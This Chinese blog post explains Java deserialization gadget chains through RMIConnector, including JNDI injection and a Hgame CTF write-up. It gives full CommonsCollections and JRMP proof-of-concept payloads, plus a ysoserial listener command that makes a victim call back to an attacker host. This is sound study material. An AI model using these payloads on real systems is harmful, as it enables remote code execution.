RMIConnector类反序列化
前言
Asal1n
老登最近在狂卷
关于CTF
模块Java Sec
反序列化方面的内容,他在出现了各种各样的问题后总会找我讨论一番,然后我就会学习到新的东西,下面这个文章就是这周末出来的一些新内容,记录以下,感谢Asal1n
。
RMIConnector二次反序列化
这个反序列化链子之前确实没有遇到过,在他发给我的时候是有一点懵的,但是这整条链子十分的简单,确实立即就看懂把问题解决了,下面的链子的分析。
二次反序列化
顾名思义就是要找到一个方法里面能够接受对象触发readObject
,同时这个方法也可以通过反序列化链子
触发。此次的二次反序列化触发点就在findRMIServerJRMP
中。这个方法接受一个base64字符串
,将传入的字符串转换成字节数组
并读取,随后通过传入的env
环境变量解析客户端的类加载器
,如果获取到的类加载器
为空,则直接将字节流
转换成对象流
,最终通过readObject
触发反序列化。
在上面findRMIServer
中,接受了一个JMXServiceURL
类的参数和一个Map
,先调用isIiopURL
判断directoryURL
的协议类型是RMI
还是IIOP
,这里的判断方法是获取protocol
属性进行判断,protocol
在构造JMXServiceURL
的时候取出service:jmx:
后面部分赋值给protocol
。如果它是iiop
协议,会把java.naming.corba.orb
字符和类放入到map
中。最终从directoryURL
中获取urlPath
的内容,取出;
的索引位置,如果不存在;
,把end
赋值为整个长度,判断path
是以/jndi/ /stub/
等起始进入不同的方法并把/jndi/ /stub/
对应的字符串去掉。
此处要触发二次反序列化
,需要令findRMIServer
进入findRMIServerJRMP
,所以要传入的urlPath
以/stub/
开头并且是rmi
协议
在RMIConnect#connect
方法中和RMIConnect.RMIClientCommunicatorAdmin#doStart
找到调用了findRMIServer
的方法,这里肯定是使用connect
方便,这个方法根据terminated
和connected
判断是否以关闭交互或已连接抛出异常,最终来到rmiServer
的判断,这里rmiServer
也是RMIConnect
实例化的时候传参判断是,可以实例化RMIServer或jmxServiceURL
,当RMIServer
为空,会调用findRMIServerw
,这里的stub
可以理解为RMI协议
进行通信的中转器。
至于后面如何调用的connect
方法,在本类中并没有找到能直接调用connect
方法的东西,所以这里调用connect
方法可以通过method.invoke
的方式来触发,例如CC
链的触发点。
那么为什么不直接就通过method.invoke
触发findRMIServer
,因为connect
更简单,它可以接受空的参数就触发后面的链子并且是public
修饰的,而直接触发findRMIServer
需要传参,而且它是私有方法
。
Gadgets:
method.invoke()->
RMIConnect#connect()->
RMIConnect#findRMIServer()->
RMIConnect#findRMIServerJRMP()->
readObject()
payload(以CC1
链为例):
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.poi.ss.formula.functions.T;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class RmiConnect {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //解决第三个问题
//解决Runtime无法被序列化的问题
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","aiwin");
Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result= constructor.newInstance(Target.class,transformedMap);
String s= serialize2Base64(result);
RMIUnserialize(s);
}
public static void RMIUnserialize(String base64) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
setFieldValue(jmxServiceURL,"urlPath","/stub/"+base64);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","aiwin");
Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result= constructor.newInstance(Target.class,transformedMap);
byte[] serialize = serialize(result);
unserialize(serialize);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static String serialize2Base64(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return s;
}
public static void setFieldValue(Object object,String fieldName,String value) throws NoSuchFieldException, IllegalAccessException {
Field field=object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
objectInputStream.readObject();
}
}
RMIConnect JNDI注入
同样在findRMIServerJNDI
中它能够通过接受jndiURL
的形式来直接调用lookup
进而从远程服务器中调用ClassLoader
完成类加载,所以这里也是可以进行JNDI
注入的。
只需要把传入的directoryURL
以/jndi/
开头即可
payload(以CC6
为例):
package com.example.rmiconnect;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class RmiConnect_jndi {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String path="rmi://127.0.0.1:8085/OLtKoxXc";
JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
setFieldValue(jmxServiceURL,"urlPath","/jndi/"+path);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> Lazymap= LazyMap.decorate(map,new ConstantTransformer(1)); //先设置为其它Transformer,使其put()方法不触发
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
HashMap<Object,Object> map2=new HashMap<>();
map2.put(tiedMapEntry,"bbb");
Lazymap.remove("aaa"); //将key去掉,使它能进入transform()方法
setFieldValue(Lazymap,"factory",chainedTransformer);
unserialize(serialize(map2));
}
public static void setFieldValue(Object object,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
objectInputStream.readObject();
}
}
[Hgame week4]i-short-you1
这道题是看了yoserial
后才恍然大悟,打Jackson
反序列化链子的时候因为BaseJsonNode
的writeplace
检查,所以反序列化是不成功的,但是我之前一直没有意识到writeplace
可以在反序列化的时候通过动态代码把writeplace
方法直接remove
掉。
题目代码:
题目代码很短,只限制了长度为220
,也就是说这样必定不可能是常规接受参数进行反序列化的打法,可能的就是RMI、LDAP、JRMP
去请求payload
从而实现命令执行的打法
看一眼依赖,发现就只有springboot
的正常依赖,但是这里jackson
的版本是2.13
,这个版本号依旧是存在jackson
反序列化漏洞的。
因为题目环境的jdk
版本是202
,在191
之后,也就是说RMI、ldap
这一类的codebase
已经被ban
掉了,唯一可用的就只剩下JRMP
,所以此处是JRMP打JACKSON1
链子的打法
package org.vidar.controller;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.*;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
public class POC {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjID objID=new ObjID();
TCPEndpoint tcpEndpoint=new TCPEndpoint("127.0.0.1",8081); //vps-ip
LiveRef liveRef=new LiveRef(objID,tcpEndpoint,false);
UnicastRef unicastRef=new UnicastRef(liveRef);
RemoteObjectInvocationHandler remote=new RemoteObjectInvocationHandler(unicastRef);
ByteArrayOutputStream byteArrayOutput=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutput);
outputStream.writeObject(remote);
outputStream.close();
//创建一个远程对象的引用和调用处理程序,进行序列化写入,反序列化向VPS进行请求
byte[] bytes=byteArrayOutput.toByteArray();
String res = Base64.getEncoder().encodeToString(bytes);
System.out.println(res);
}
//java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8081 Jackson1 "calc.exe" 起JRMP服务器
}
文章标题:RMIConnector类反序列化
文章链接:https://aiwin.fun/index.php/archives/4388/
最后编辑:2024 年 3 月 5 日 21:59 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
大佬好厉害